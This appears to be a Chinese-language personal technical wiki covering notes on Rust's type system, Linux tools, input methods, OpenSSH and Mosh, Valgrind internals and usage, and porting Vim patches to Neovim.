人類在知識取得上的一個重要方式就是把還不能理解的東西 mapping 回已知的東西上，文氏圖從國小就學過了，早就已經在大家的基礎知識裡面，讀完這篇文章可以幫你把 Rust 的 type system 運作方式 mapping 到基礎知識上，如此一來可以很輕鬆的理解 ~

其他資源¶

Reference¶

Wikipedia - Type system

Rust Videos¶

以下為聽 Talks 時紀錄的內容，有些可能有加進自己去搜尋、嘗試後的結果

Felix Klock - Rust: A type system you didn’t know you wanted - Curry On

Slide
What ?
- 新的 systems programming language
  
  fast; FFI interface; data layout control
  
  compete (and interface with) with C/C++
- Mix in the classic hits of PL
  
  user-defined iterators, RAII, objects with vtable method dispatch, generics / F-bounded polymorphism, algebraic data types, affine types, etc
- Safety
  
  Memory-safe, data-race free
  
  Fearless concurrency

Abstraction without overhead

// Rust

// sums all the positive values in `v`
fn sum_pos(v: &Vec<i32>) -> i32 {
    let mut sum = 0;
    for i in v.iter().filter(|i| **i > 0) {
        sum += *i;
    }
    sum
}


// much shorter version
fn sum_pos(v: &Vec<i32>) -> i32 {
    v.iter().filter(|i| **i > 0).sum()
}

# Generated x86_64 machine code for Rust's fn sum_pos:
# rustc -C opt-level=3

sum_pos::h890463990285d60deaa:
    # stack check can be cloesed by "-C no-stack-check"
    # +--- stack check ---+
    # v                   v
    cmpq    %fs:112, %rsp
    ja      .LBB0_2
    movabsq $8, %r10
    movabsq $0, %r11
    callq   __morestack
    retq
    # ^                   ^
    # +--- stack check ---+
.LBB0_2:
    pushq   %rbp
    movq    %rsp, %rbp
    movq    (%rdi), %rcx
    movq    8(%rdi), %rax
    leaq    (%rcx,%rax,4), %rdx
    xorl    %eax, %eax
    jmp     .LBB0_3
.LBB0_5:
    addl    %esi, %eax
.LBB0_3:
    cmpq    %rcx, %rdx
    je      .LBB0_6
    movl    (%rcx), %esi
    addq    $4, %rcx
    testl   %esi, %esi
    jle     .LBB0_3
    jmp     .LBB0_5
.LBB0_6:
    popq    %rbp
    retq

// C++

# include <vector>

int sum_pos(std::vector<int>& v) {
    int sum = 0;
    for (const auto& i : v) {
        if (i > 0) {
            sum += i;
        }
    }
    return sum;
}

# Generated x86_64 machine code for C++'s int sum_pos:
# by clang 3.6
# clang -O3 -std=c++14 -S sum_pos.cpp
# cat sum_pos.s | c++filt

sum_pos(std::vector<int, std::allocator<int> >&):
    movq    (%rdi), %rdx
    movq    8(%rdi), %rcx
    xorl    %eax, %eax
    cmpq    %rcx, %rdx
    je      .LBB0_9
# BB#1:                                 # %overflow.checked
    leaq    -4(%rcx), %rdi
    subq    %rdx, %rdi
    shrq    $2, %rdi
    incq    %rdi
    xorl    %esi, %esi
    movabsq $9223372036854775800, %rax # imm = 0x7FFFFFFFFFFFFFF8
    andq    %rdi, %rax
    pxor    %xmm0, %xmm0
    je      .LBB0_2
# BB#3:                                 # %vector.body.preheader
    leaq    (%rdx,%rax,4), %r8
    addq    $16, %rdx
    movq    %rdi, %rsi
    andq    $-8, %rsi
    pxor    %xmm2, %xmm2
    pxor    %xmm0, %xmm0
    pxor    %xmm1, %xmm1
.LBB0_4:                                # %vector.body
                                        # =>This Inner Loop Header: Depth=1
    movdqa  %xmm1, %xmm3
    movdqa  %xmm0, %xmm4
    movdqu  -16(%rdx), %xmm5
    movdqu  (%rdx), %xmm6
    movdqa  %xmm5, %xmm0
    pcmpgtd %xmm2, %xmm0
    movdqa  %xmm6, %xmm1
    pcmpgtd %xmm2, %xmm1
    pand    %xmm5, %xmm0
    pand    %xmm6, %xmm1
    paddd   %xmm4, %xmm0
    paddd   %xmm3, %xmm1
    addq    $32, %rdx
    addq    $-8, %rsi
    jne     .LBB0_4
# BB#5:
    movq    %r8, %rdx
    movq    %rax, %rsi
    jmp     .LBB0_6
.LBB0_2:
    pxor    %xmm1, %xmm1
.LBB0_6:                                # %middle.block
    paddd   %xmm1, %xmm0
    pshufd  $78, %xmm0, %xmm1       # xmm1 = xmm0[2,3,0,1]
    paddd   %xmm0, %xmm1
    pshufd  $-27, %xmm1, %xmm0      # xmm0 = xmm1[1,1,2,3]
    paddd   %xmm1, %xmm0
    movd    %xmm0, %eax
    cmpq    %rsi, %rdi
    je      .LBB0_9
    xorl    %esi, %esi
.LBB0_8:                                # %.lr.ph
                                        # =>This Inner Loop Header: Depth=1
    movl    (%rdx), %edi
    testl   %edi, %edi
    cmovsl  %esi, %edi
    addl    %edi, %eax
    addq    $4, %rdx
    cmpq    %rdx, %rcx
    jne     .LBB0_8
.LBB0_9:                                # %._crit_edge
    retq

Memory safety
- 例如在利用 iterator 進行操作時，當中不可以更動到原本的 iterator，不然可能會出錯 (例如 realloc)，這種問題在會 Rust 變成 compile-time error
  
  例如在使用 vector.iter() 時，做了 vector.push(XXX)，這就會是錯誤的
Slick, Fearless Concurrency
Why ?
- C/C++ impedes ability to compete in the browser market
- Fast experimentation (and deployment)
Servo
- written in Rust
- parallel paint
- parallel layout
- parallel css selector matching
How ?
- Ownership + Move Semantics (explicit resource control)
- Borrowing (brings back reference semantics)
- Lifetimes (encode safety constraints between references)
The Family of Types
- T: base type. Moves, unless bounded by Copy trait
- &T: shared ref, “read-only” access; copyable
  
  programmer (+ compiler) must assumed aliased
  
  (i.e. “many readers”)
- &mut T: “mutable” ref, exclusive access; non-copy
  
  assured unaliased
  
  (i.e. “at most one writer”)
Method signatures
- self: consumes receiver
- &self: accesses receiver
- &mut self: mutates receiver
“Smart” “Pointers”
- Box<T>: unique reference to T on (malloc/free-style) heap
- Rc<T>: shared ownership, thread-local
- Arc<T>: shared ownership, safe across threads
- (All of above deref to &T)
Interactive Compiler
- Compiler Explorer - Rust
- Compiler Explorer - C & C++

Rust & Web¶

Todo¶

Python Simple HTTP Server in Rust
- multithread
- HTTPS

Asynchronous I/O¶

目前 Rust 的 standard library 還沒加入 asynchronous 的支援，等後續加入吧 ...

Rust - rfcs - Async IO #1081

Reference¶

networkctl¶

$ networkctl
IDX LINK             TYPE               OPERATIONAL SETUP
1 lo               loopback           n/a         n/a
2 enp2s0f0         ether              n/a         n/a
3 wlp3s0           wlan               n/a         n/a

3 links listed.
$ networkctl status
●      State: n/a
    Address: 192.168.0.104 on wlp3s0
            fe80::c218:85ff:fef8:7583 on wlp3s0
    Gateway: 192.168.0.1 (D-Link International) on wlp3s0

Input Method¶

Traditional Chinese¶

Gcin¶

HIME¶

HIME 是因為意見跟上游分歧而從 Gcin 2.5.1 fork 出去的版本，目前專案開發、Issues 都在 GitHub 上。

Chinese¶

RIME¶

中國開發者寫的拼音輸入法，支援 Linux、Mac OS X、Windows， Linux 上可以選擇接 IBus 或 fcitx，安裝注音相關 library 並且修改設定後，可以支援注音輸入法，繁體中文的支援則是經由 OpenCC 把原本的字詞轉換而來的。

Fcitx¶

Fcitx 是一個輸入法框架，後面可以接上各種輸入法引擎。

Some Basic Tools¶

OpenSSH & Mosh¶

OpenSSH¶

OpenSSH 全名叫「OpenBSD Secure Shell」，專案始於 1999 年 12 月 1 日，目的是要開發 SSH 實作的 Open Source 替代方案 (當時常見的為 Tatu Ylönen 開發由 SSH Communications Security 釋出的非開源實作)，原本單純只是 OpenBSD 的計劃，後續發展成為 Unix-like 平台中最常見、最多人使用的 SSH 實作。

OpenSSH 不是一個單一的程式，而是一套相關的程式集合，包含以下程式：

ssh
scp
sftp
sshd
ssh-keygen
ssh-add
ssh-agent
ssh-keyscan
ssh-copy-id

Mosh¶

Mosh 全名叫「mobile shell」，專案始於 2012 年，目的是要提供在網路品質不佳的情況下仍能運作的 SSH 實作，一般的 SSH 在一定時間內沒有送封包維持連線後就會斷線，這對於網路品質不佳的狀況下會造成使用不易，而 Mosh 則嘗試解決了這個問題，在 Server 端會跑一隻 Mosh server，之後無論是中途斷線或是換 IP，只要是你那個 Mosh client 連的，連線就可以繼續維持，斷線、換 IP 都不用重連，網路連上後連線就自動恢復，方便性提升非常多。

Reference¶

IRC¶

功能	指令
加 op	/mode #CHANNEL +o USER
取回 nickname	/msg NickServ GHOST nickname password /msg NickServ IDENTIFY nickname password

irssi theme¶

weed - irssi theme

IRC Log¶

Reference¶

xmodmap¶

~/.Xmodmap

Control & CapsLock 互換¶

Reverse Scrolling¶

setxkbmap¶

reset¶

setxkbmap -layout us

Valgrind on Android Platform¶

自己試過會動的版本 :

Valgrind	721e6a4 (2015-06-16)
Android NDK	android-ndk-r10e-linux-x86_64.bin
Platform	Android 21 (ARM)
Target CPU	ARMv7
Toolchain	GCC 4.9 (ARM, Android EABI)
SoC	Qualcomm Snapdragon S3 MSM8260
CPU	Qualcomm 1.5 GHz dual-core Scorpion
Android (running)	4.1.2, 5.1.1

$ cat /proc/cpuinfo
Processor   : ARMv7 Processor rev 4 (v7l)
processor   : 0
BogoMIPS    : 13.53

processor   : 1
BogoMIPS    : 13.53

Features    : swp half thumb fastmult vfp edsp neon vfpv3 tls
CPU implementer : 0x51
CPU architecture: 7
CPU variant : 0x0
CPU part    : 0x02d
CPU revision    : 4

Hardware    : fuji
Revision    : 0000
Serial      : 0000000000000000

Valgrind Resource Collection¶

Valgrind Articles¶

Julian Seward’s blog

Valgrind Slides¶

Projects with Valgrind¶

Papers¶

Comparison Of Memory Tools¶

Table modify from address-sanitizer - ComparisonOfMemoryTools

	AddressSanitizer	Valgrind (Memcheck)	Valgrind (SGCheck)
technology	CTI	DBI	DBI
ARCH	x86, x86_64, ARM, PPC, ...	x86, x86_64, ARM, PPC, ...	x86, x86_64, ARM, PPC, ...
OS	Linux, FreeBSD, Android, Mac, Windows, ...	Linux, FreeBSD, Android, Mac, ...	Linux, FreeBSD, Android, Mac, ...
Slowdown	2x	20x
Detects:
Heap OOB	O	O	X
Stack OOB	O	X	O
Global OOB	O	X	O
UAF	O	O	X
UAR	O	O	X
UMR	X	O	X
Leaks	O	O	X

縮寫	全名
CTI	Compile-Time Instrumentation
DBI	Dynamic Binary Instrumentation
UMR	Uninitialized Memory Reads
UAF	Use-After-Free (aka dangling pointer)
UAR	Use-After-Return
OOB	Out-Of-Bounds

Valgrind: A Framework for Heavyweight Dynamic Binary Instrumentation¶

這邊的資訊主要來自於 2007 年發的 papaer “Valgrind: A Framework for Heavyweight Dynamic Binary Instrumentation” 以及現在 Valgrind 的 source code 和 documentation。

名詞解釋¶

Instrumentation

在資訊領域中，instrumentation 代表著追蹤程式執行、診斷錯誤、衡量效能的能力
Dynamic Binary Instrumentation (DBI)

接續前面說的 instrumentation，DBI 是其中一個子項目，針對的是 binary，而偵測時期在執行期間
Dynamic Binary Analysis (DBA)

DBA，如字面上的意思，是針對 binary 在執行期間的分析
Intermediate Representation (IR)

Introduction¶

DBA 常用 DBI 來實作，在執行時把分析的程式碼加到要分析的程式，這對使用者很方便 (不用重新 compile 或 link)。然而大部分的 DBI frameworks 都把重點放在 performance 而不是能力，但是是能力讓這類工具有用的所以 Valgrind 的開發者認為 DBI 的能耐還沒完全展現出來。

Valgrind 把重點放在 shadow values 這概念上， shadow values 是很強大但相關的研究較少、較難實作的 DBA 技術，在這概念下需要對所有的 register 和 memory 做 shadow (自己維護一份)，也因為這 feature 讓 Valgrind 做出來的 lightweight 工具跑的相對慢，但是 Valgrind 可以做出更多更有趣、更重量級的工具，這是其他 frameworks 很難做到的 (例如 Pin 或 DynamoRIO)。

shadow value tools 會維護一份程式的狀態，把原本的程式狀態稱為 S，那就會存一份 S’ 裡面包含 S 的所有值 (例如 register 和 user-mode address)，而 shadow values 有九種需求要滿足，九種需求可以依照特性分成四類 (Shadow State、讀寫操作、Allocation/Deallocation、增加輔助資訊)：

Shadow State
1. 提供 shadow registers (例如 integer、FP、SIMD)
2. 提供 shadow memory
  
  並且需要在 multithread 下可以安全地存取 shadow memory
讀寫操作
1. instrument read/write instructions
  
  需要知道每個 instruction 存取了哪些 memory 和 registers
  
  最好能做到跨平台 (跨 ISA)
2. instrument read/write system calls
  
  所有的 system call 都會去存取 register 或 memory，還可能從 register 或 stack 讀參數，最後寫回 register 或 memory，而且還要注意許多 system call 會存取 user-mode 的 memory (pointer)
Allocation and deallocation operations
1. instrument start-up allocations
  
  在程式開始執行時，所有 register 都會被 “allocated”，因為是 statically allocated memory locations，所以 shadow value tool 必須也這些做好 (create suitable shadow values)
  
  對於此時還沒 allocated 的也要處理，可能在 allocated 之前發生不當的存取
2. instrument system call (de)allocations
  
  一些 system call 會 allocate memory (e.g. brk, mmap)，一些會 deallocate memory (e.g. munmap)，
  
  mremap 會讓 memory 被 copy，shadow memory 也要 copy 好
3. instrument stack (de)allocations
  
  更新 stack pointer
  
  這部份會比較耗時，因為 stack pointer 時常變動，而且有些程式會在多個 stack 之間切換，shadow value tool 會需要把這些 stack allocations 或 deallocations 區分出來，這對於 binary level 來說不容易
4. instrument heap (de)allocations
  
  大部分的程式會利用來自 library 的 heap allocator，heap allocator 會把用 system call (brk、mmap) 取得的 large chuncks 中的一塊 heap blocks 傳回去給 client，每段 heap block 都有 book-keeping data (例如 block size)，這些是 client program 不應該存取的 (讀可能還安全，寫的話可能會 crash allocator)，所以有 kernel-level addressability 之上蓋了一層 library-level addressability 的概念
  
  忽略 large chuncks 的 kernel-level allocations
  
  直到 allocator 把 allocated 的 bytes 轉交給 client 之前都不把 memory 當作 active
  
  realloc 也要像 mremap 一樣被處理
Transparent execution, but with extra output
1. extra output
  
  不影響執行，產生有幫助的 output
  
  另外開個地方來 output，例如沒在用的 stderr 或 file

核心概念就是 registers 和 memory 中的東西都要自己做一份，而且要把自己那份跟原本的區分開來，並且確保可以安全地在各個情況下使用 (例如 multithread)。接著是執行的操作都要紀錄到，掌控所有的使用 (讀寫)。

shadow value tool 為 heavyweight 的 DBA tools 可以滿足這九種需求，然而大部份的 DBA tools 都只做到了九種需求的 subset (通常都包含最後增加輔助資訊的需求)。

Valgrind 運作方式¶

基本架構¶

Valgrind 會利用 dynamic binary re-compilation，先把 client 程式讀到和 Valgrind 同個 process，接著把 client machine code 分成一小塊一小塊，依 execution-driven 的方式用 just-in-time 得技術把 machine code block 轉成 VEX IR (RISC-like)。 VEX IR 是 Valgrind 開發者設計來給 DBI 使用的 IR，目前這部份已經從 Valgrind 分離出去成 libVEX 了， libVEX 負責動態地把 machine code 轉換成 VEX IR，並且去 call 要做 IR instrumentation 的工具的 hooks，而轉換的結果會存在 code cache，再需要時會重新 run 過。

Valgrind 的核心花費大部分的時間在製造、尋找、執行 machine code 和 VEX IR 的轉換，而 client program 原本的 machine code 都不會跑到。

到這邊可以看到 Valgrind 的複雜來自於要把 client 和 tool 壓在同一個 process，需要用分享的資源 (例如 registers 和 memory)，而且 Valgrind 要小心地確保在 system call、signals、threads 參與的狀況下不會對 client 失去掌控。

Valgrind 可以正常處理的程式有：

normal executable code
dynamically linked libraries
shared libraries
dynamically generated code

只有 self-modifying code 會有問題，而執行過程中只有 system calls 裡面的狀況是 Valgrind 不能掌控的，但是 system call 的 side-effects 還是可以間接觀察到。

                                      +--------------------+     +-------------------------+
              +--------------+        |      libVEX        |     | IR instrumentation tool |
              |              |        |                    |     |                         |
              +--------------+        |                    |     |                         |
              |              |        |                    |     |                         |
              +--------------+        |                    |     |                         |
              |              |        |                    |     |                         |
x86/Linux     +--------------+        |      +--------+    |     |                         |
AMD64/Linux   | machine code | ------------> | VEX IR | -------->|                         |
ARM/Linux     +--------------+        |      +--------+    |     |                         |
x86/MacOSX    |              |        |                    |     |                         |
AMD64/MacOSX  +--------------+        |         -----------------|                         |
....          |              |        |         |          |     |                         |
              +--------------+        |         |          |     |                         |
              |              |        +---------|----------+     +-------------------------+
              +--------------+                  |
                                                v
                                         +--------------+
                                         | machine code |
                                         +--------------+

Starting Up¶

start up 這部份的目的是要把 Valgrind 的 core、tool、clent program 都 load 到同一個 process，共用 address space。 Valgrind tool 都是包含 core code 的 statically-linked executable，每個 tool 都包含一份 core code 有一點點浪費空間 (2007 年的時候 core 大約 2.5 MB)，但是可以讓事情簡單一些。

client 程式 (執行檔) 會被 load 到一個通常是可用的 non-standard address，在 x86/Linux 中這個位址是 0x38000000 (各平台的位址可以看 Valgrind 的 configure.ac)， 0x38000000 在 1GB 之下 (1024 * 1024 * 1024 bytes => 0x40000000)，所以就算有個用 1:3 來切割 user:kernel address space 的 kernel 也可以 work，精確地位址是不固定的，重點是要避開一般預設的程式 load address，同時確保 loader 可以在 1GB 以下被 load。如果 Valgrind 要用的 address 不是可用的 (極少數特殊情況)， Valgrind 可以重新 compile 來使用不同的 address。

使用者用的 valgrind command 其實只是個 wrapper (wrapper 的 source code 為 repo 裡的 coregrind/launcher-linux.c)，這個 wrapper 會去爬 --tool 參數來決定要執行的 plugin，每個 plugin 都是一個靜態連結的執行檔， plugin 都放在 /usr/lib/valgrind/ 裡面 (on Arch Linux)， wrapper 會設定一些環境變數後用 execve 執行指定的 plugin。

Valgrind core 一開始會初始化一些 sub-systems (例如 address space manager、internal memory allocator)，接著才 load 進來 cliet 程式 (text、data)， client 程式可以是 ELF 執行檔或是 script (如果是 script 的話會讀入 interpreter)，接下來建立 client 的 stack 和 data segment。

在這之後 Valgrind core 會要 tool 初始化自己， core 和 tool 的 command-line 參數會在這時被處理。 core sub-system 初始化，包含 translation table、signal-handling machinery、thread scheduler、debug information。

至此 Valgrind tool 已經取得所有的掌控權，所有東西都已經就定位可以開始轉換並執行 client 程式了。

這個 Valgrind 架構和初始化方式其實是第三版了，是目前最 reliable 的方式。第一版為使用 dynamic linker 的 LD_PRELOAD 把 Valgrind core 和 tool (都是 shared object) inject 到 client，但是這對 statically compiled executables 不管用，也允許一部份的 client 程式在 Valgrind 掌控外先 native 地執行，在加上這作法也不 portable。第二版和現在的方式比較像，但是需要一大塊空的 memory mappings 來讓 components 放到對的位置，這作法比較 unreliable。大部分的 DBI frameworks 都是使用第一種 injection 的方式，而不是使用自己的 program loader。為了避免前面兩種作法的缺點，第三種作法有額外的兩種優點，一是讓 Valgrind 可以掌控 memory layout，二是讓避免對其他工具的依賴 (例如 dynamic linker)，這是增加 Valgrind 強健性的好方式。

Guest and Host Registers¶

Valgrind 本身會直接跑在 host CPU，而 client 程式則是概念性地跑在 Valgrind 弄出來的 guest CPU，因為 dynamic binary recompilation 的關係 guest register 的值可能是在一個 host register 或是散佈在 memory 中，而每個 guest register 都會有 shadow register。

Valgrind 會提供每個 client thread 一塊 memory (稱為 ThreadState)，每個 ThreadState 包含給 thread 的 guest 和 shadow registers 的空間，會在許多時間點維護這些值 (例如每個 code block 之間)。這樣儲存 guest registers 的話就會需要不斷地把值在 host registers 和 memory 中移來移去，效能顯然會在這邊降低，但是作為一個 heavyweight 的工具，這樣的作法卻是非常合理的。

Representation of code: D&R vs. C&A¶

DBI framework 有兩種基本的方式可以表示 code 和進行的 instrumentation：

disassemble-and-resynthesise (D&R)
- Valgrind 使用這種
- 把 machine code 先轉成 IR
- IR 會經由加入更多 IR 來被 instrument
- IR 最後轉回 machine code 執行
- 原本的 code 對 guest state 的所有影響都必須明確地轉成 IR，因為最後執行的是純粹由 IR 轉成的 machine code
copy-and-annotate (C&A)
- instructions 會逐字地複製 (除了一些 control flow 改變)
- 每個 instruction 都加上註解描述影響 (annotate)，利用這些描述來幫助 instrumentation
  
  經由 data structures (DynamoRIO)
  
  經由 instruction-querying API (Pin)
- 加入的分析 code 必須和原 code 錯開，不能影響原本的行為

基本上 DBI framework 可以分成這兩種，但是混用是可以做到的，早期的 Valgrind 對 interger instructions 使用 D&R，而對 floating point insturctions 和 SIMD 使用 C&A (paper 上寫說並非設計想往這邊走，而是意外)。另外，做一些變化也是可以的，例如 DynamoRIO 允許 instructions 在複製前 in-place 地修改，

各個設計都有優缺點，而 D&R 的方式需要更多的實作和設計，而且最後從 IR 生出有效率地 machine code 也需要一些努力， Valgrind JIT 就用了很多編譯器的技術。相對地，C&A 的作法就可以比 D&R 少費些心力。

D&R 對於需要 low-level 資訊的狀況來說比較不適合，例如每個 instruction 使用哪個 opcode 這樣的資訊可能會 lost，但是 IR 註解可以幫忙處理這樣的事情，例如 Valgrind 有 “marker” statement 可以標註原本 instruction 的 boundaries、addresses、length，而且 C&R 如果 annotations 能力不夠的話也會有同樣的問題。

D&R 的威力會在需要加入複雜的 analysis code 的時候顯現，首先 D&R 的 client 和 analysis code 都會使用一樣的 IR，所以可以保證 analysis code 和 client code 有同樣的程度的能力，再來把所有 side-effect 都明確地表示出來可以讓 instrumentation 變簡單。接著是 JIT 可以讓 analysis code 和 client code 取得同樣好的優化，並且原生地把兩個 code 交錯開來，而 C&A 則需要提供個方式來描述 analysis code， C&A 的 analysis code 要能有效率且安全地放進去反而需要額外的功夫 (framework 和 tool)，例如 Pin 的 analysis code 是用 C 寫，用外部的 C compiler 編譯， Pin 則嘗試 inline 進去或是插入 function call。

最後，D&R 比較容易驗證，任何 IR 轉換錯誤的行為都會很明顯，而 C&A 的 annotations 有錯的話只會造成不正確地分析。 D&R 還允許 binary 從一個平台轉到另個平台 (雖然 Valgrind 沒有做)。

總結就是 D&R 需要比較多的力氣來實作，支援 heavyweight instrumentation (需要 shadow value tools)，但對於 ightweight instrumentation 來說算是 overkill。

Valgrind IR¶

在 Valgrind 3.0.0 之前 (2005 年 8 月)， Valgrind 有針對 x86 的部份 D&R、部份 C&A，以及像 assembly 的 IR (translation 單位為 basic block)。在那之後，Valgrind 有了完整的 D&R 和 SSA (single-static-assignment) IR (像是 compiler 在用的 IR)。 IR blocks 也變成 superblocks (為 single-entry, multiple-exit)。

VEX IR¶

Reference¶

[2007] Valgrind: A Framework for Heavyweight Dynamic Binary Instrumentation
[2008] Optimizing Binary Code Produced by Valgrind
svn://svn.valgrind.org/vex/trunk
libVEX - /pub/libvex_ir.h
Valgrind - /configure.ac
- valt_load_address_pri_norml
- valt_load_address_pri_inner

Valgrind & Firefox¶

Run Your Firefox¶

# --smc-check=all     : 我的程式可能會用到 self-modifying code
#                       (Firefox 的話會 overwrite dynamically generated code)
# --trace-children    : 我要追蹤子程式
# --tool=massif       : 使用 Massif
# --pages-as-heap=yes : 讓 Massif 在 page level 去 profile 所有 memory allocations
#                       (而不是只有 heap)
#                       (heap 佔 Firefox 的 memory 使用量不到一半)
# --detailed-freq=1000000 : 讓 Massif 每 1,000,000 個 snapshot 做一次 detailed snapshot
#                           (預設是 10，設成 1,000,000 會比較快，
#                           但是不管設成多少都會在 memory 使用高峰做 detailed snapshot)
# -no-remote          : 讓 Firefox 開新的 instance
$ valgrind --smc-check=all --trace-children=yes --tool=massif --pages-as-heap=yes \
    --detailed-freq=1000000 optg64/dist/bin/firefox -P cad20 -no-remote

(以下是撰寫中的 Valgrind wrapper)

#!/bin/sh

# a basic wrapper for valgrind

PWD=`pwd`

####################
# Valgrind basic
####################

VGPARAMS="--trace-children=yes --log-file=$PWD/valgrind.log.%p"

####################
# Valgrind report
####################

VGPARAMS+=" --error-limit=no"               # 不設 error 上限
VGPARAMS+=" --error-exitcode=255"           # 有 error 的話把 exitcode 設成 255
VGPARAMS+=" --default-suppressions=yes"     # 使用預設的 suppression
#VGPARAMS+=" --suppressions=<filename>"
VGPARAMS+=" --gen-suppressions=all"         # 對 error 生 suppression

####################
# Valgrind malloc
####################

#--alignment=<number>
#--redzone-size=<number>

####################
# Valgrind extra
####################

#VGPARAMS+=" --smc-check=all"                # 檢查 self-modifying code

# http://valgrind.org/docs/manual/manual-core.html#manual-core.pthreads_perf_sched
VGPARAMS+=" --fair-sched=try"               # 嘗試使用 fair scheduling


####################
# Memcheck tool
####################

MC_VGPLUGIN="--tool=memcheck --leak-check=full --show-reachable=yes"
MC_VGPLUGIN+=" --track-origins=yes"                # 追蹤 undefined value 來源
MC_VGPLUGIN+=" --keep-stacktraces=alloc-and-free"  # 同時紀錄 alloc 和 free 的 stack trace

####################
# Callgrind
####################

CL_VGPLUGIN=""

####################
# Cachegrind
####################

CG_VGPLUGIN=""

####################
# Helgrind
####################

HG_VGPLUGIN=""

####################
# DRD
####################

DRD_VGPLUGIN=""

####################
# Massif
####################

MS_VGPLUGIN=""
MS_VGPLUGIN+=" --pages-as-heap=yes"     # 讓 Massif 在 page level 去 profile 所有 memory allocations
                                        # (而不是只有 heap)

####################
# (exp) SGCheck
####################

SG_VGPLUGIN=""

####################
# (exp) DHAT
####################

DH_VGPLUGIN=""

####################

echo "valgrind args: $*"
exec valgrind $VGPARAMS $VGPLUGIN $*

# Todo
#   generate .valgrindrc

VGDB¶

Reference¶

Writeing a New Valgrind Tool¶

Introduction¶

Valgrind 把架構分成 core 和 plugin，其中 core 負責 low-level infrastructure 讓上面的 plugin 可以容易做 instrumentation，提供的內容包含 JIT compiler、low-level memory manager、signal handling、scheduler (pthread) 等等。

Simple Plugin¶

Valgrind 使用 GNU automake、autoconf

# 取得 Valgrind source code
svn co svn://svn.valgrind.org/valgrind/trunk valgrind
cd valgrind

# 為自己的 plugin 取個名字 (和縮寫)
# 這邊先隨便取為 myplugin (mp)
mkdir -p myplugin/docs myplugin/tests
touch myplugin/docs/Makefile.am myplugin/tests/Makefile.am

cp none/Makefile.am myplugin/
sed -i 's/none/myplugin/g' myplugin/Makefile.am
sed -i 's/NONE/MYPLUGIN/g' myplugin/Makefile.am
sed -i 's/nl_/mp_/g' myplugin/Makefile.am
sed -i 's/nl-/mp-/g' myplugin/Makefile.am

#  changing the details lines in nl_pre_clo_init() to something appropriate for the tool.
#  These fields are used in the startup message, except for bug_reports_to which is used if a tool assertion fails.
cp none/nl_main.c myplugin/mp_main.c
sed -i 's/nl_/mp_/g' myplugin/mp_main.c

sed -i '/memcheck \\/a\             myplugin\\' Makefile.am

# 更新 configure.ac (configure.in 已經 deprecated，Valgrind 官網的文件還沒更新)
# 加到 AC_CONFIG_FILES
sed -i '/coregrind\/Makefile/a\   myplugin\/Makefile\n   myplugin\/tests/Makefile\n   myplugin\/docs/Makefile' configure.ac

./autogen.sh
./configure --prefix=`pwd`/inst
make -j8 install    #  putting copies of the tool in myplugin/ and inst/lib/valgrind/

# Test
inst/bin/valgrind --tool=myplugin date

Error Recording¶

Suppression¶

Reference¶

Valgrind Technical Documentation - Writing a New Valgrind Tool

Valgrind Tips¶

Using Valgrind to get stack traces¶

Example¶

Source Code：

#include <valgrind/valgrind.h>

void f() {
    // VALGRIND_PRINTF_BACKTRACE is a variadic printf-style function
    VALGRIND_PRINTF_BACKTRACE("I have backtrace for %s()", "f");
}

void g() {
    VALGRIND_PRINTF_BACKTRACE("I have backtrace for g()");
    f();
}

int main(int argc, char *argv[]) {
    g();
}

Build：

$ gcc example.c -o example

Run：

$ valgrind --tool=none ./example
==30795== Nulgrind, the minimal Valgrind tool
==30795== Copyright (C) 2002-2013, and GNU GPL'd, by Nicholas Nethercote.
==30795== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
==30795== Command: ./example
==30795==
**30795** I have backtrace for g()   at 0x4006B5: VALGRIND_PRINTF_BACKTRACE (in /tmp/example)
==30795==    by 0x400703: g (in /tmp/example)
==30795==    by 0x400729: main (in /tmp/example)
**30795** I have backtrace for f()   at 0x4006B5: VALGRIND_PRINTF_BACKTRACE (in /tmp/example)
==30795==    by 0x4006ED: f (in /tmp/example)
==30795==    by 0x40070D: g (in /tmp/example)
==30795==    by 0x400729: main (in /tmp/example)
==30795==

Reference¶

Using Valgrind to get stack traces

Valgrind Talks¶

FOSDEM¶

2014¶

2015¶

Neovim¶

Neovim 是從 Vim 7.4.160 fork 出去的專案，目標是要重構 Vim、改善架構、讓大家更容易貢獻等等，而在那之後 Neovim 依然有儘量把 Vim 的 patches porting 到 Neovim 跟著改善。

一些改善：

source code 整理
清除一些老系統的支援 (已經根本沒有人會用到的)
改用 CMake
把原本的 C code porting 前往 C99 (不知道以後可否變 C11 XD?)
使用 libuv 取代原本一些針對特定 OS 的 code
支援使用新的 msgpack API 來做 RPC (remote procedure call)
清除大量的 memory 相關問題
...

某篇晚上發現 neovim 有 vim patches 在 neovim 的狀況表，有的 patch neovim 不需要，有的需要修改，之後有空要來幫忙 :P

其中一個目標是 patch 7.4.754 ， Visual mode 的 control+a 來增加數字、control+x 減數字。

Build From Source¶

Run Test¶

Run Test With Valgrind¶

$ VALGRIND=1 make test

Porting Vim patches to Neovim¶

Neovim 內建有個 script 可以幫助 porting Vim patches 到 Neovim，假設想 porting 的是 patch “7.4.123” :

./scripts/vim-patch.sh 7.4.123

接下來可能會有 merge conflict 要修。

修改的注意事項¶

Test Cases¶

如果有在 src/testdir/test*.in 加入新的 test 的話，用 script 轉成 lua 版本 (轉完可能要修一下)：

./scripts/legacy2luatest.pl src/nvim/testdir/test_writefile.in test/functional/legacy

Code Differences¶

Deprecated or removed	Replacement
vim_free	xfree
malloc, alloc, lalloc	xmalloc
calloc	xcalloc
realloc, vim_realloc	xrealloc
mch_memmove	memmove
vim_memset, copy_chars, copy_spaces	memset
vim_strncpy, strncpy, strcpy	xstrlcpy

Data type	Format (Vim source)	Portable format (Nvim source)
long	“%ld”	“%” PRId64
size_t	“%ld”	“%zu”

PR 格式¶

PR 標題要有 vim-patch:7.4.xxx
commit message
- 第一行為 “vim-patch:7.4.xxx”
- 接著空一行
- 問題 “Problem: Accessing memory before an allocated block”
- 解法 “Solution: Check for not going before the start of a pattern. (Dominique Pelle)”
- 空一行
- 原本 patch 的 link
- vim-patch.sh 這隻 script 可以幫忙

commit message 範例 :

vim-patch:7.4.799

Problem:    Accessing memory before an allocated block.
Solution:   Check for not going before the start of a pattern.  (Dominique Pelle)

https://github.com/vim/vim/commit/v7-4-799

Example¶

Example 1¶

Example 2¶

幫忙為 Vim patches 標上 NA

Patch 7.4.754 related¶

注意，從這個 patch 之後，後面還有好幾個 patch 是修這個 patch 引進的問題。

port to neovim	Status	File
	Modify	/src/normal.c
	Modify	/src/ops.c
	Modify	/src/proto/ops.pro
	Modify	/src/testdir/Make_amiga.mak
